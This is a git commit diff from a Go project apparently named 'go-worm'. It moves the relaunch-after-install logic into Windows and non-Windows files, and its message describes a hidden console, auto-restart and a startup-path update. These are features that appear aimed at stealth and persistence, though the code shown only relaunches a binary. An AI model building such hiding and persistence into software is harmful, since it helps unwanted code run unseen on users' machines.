refactor(core): add headless run and auto-restart

- Run without console by default
- Log to file once console hidden
- Recover panics in background goroutines
- Restart agent after unexpected errors
- Use shared instance launch helper
This commit is contained in:
2026-09-01 20:12:12 +03:00
parent 36cb847f9e
commit 2318684e93
19 changed files with 299 additions and 63 deletions
+1 -10
View File
@@ -4,7 +4,6 @@ import (
"fmt"
"io"
"os"
"os/exec"
"path/filepath"
"strings"
@@ -44,15 +43,7 @@ func Ensure() error {
return fmt.Errorf("update startup path: %w", err)
}
cmd := exec.Command(target, os.Args[1:]...)
cmd.Stdin = os.Stdin
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Start(); err != nil {
return fmt.Errorf("relaunch from %s: %w", target, err)
}
os.Exit(0)
return nil
return relaunchInstalled(target)
}
func copyExe(from, to string) error {
+21
View File
@@ -0,0 +1,21 @@
//go:build !windows
package install
import (
"fmt"
"os"
"os/exec"
)
func relaunchInstalled(target string) error {
cmd := exec.Command(target, os.Args[1:]...)
cmd.Stdin = os.Stdin
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Start(); err != nil {
return fmt.Errorf("relaunch from %s: %w", target, err)
}
os.Exit(0)
return nil
}
+18
View File
@@ -0,0 +1,18 @@
//go:build windows
package install
import (
"fmt"
"os"
"tea.chunkbyte.com/kato/go-worm/lib/instance"
)
func relaunchInstalled(target string) error {
if err := instance.Launch(target, os.Args[1:]); err != nil {
return fmt.Errorf("relaunch from %s: %w", target, err)
}
os.Exit(0)
return nil
}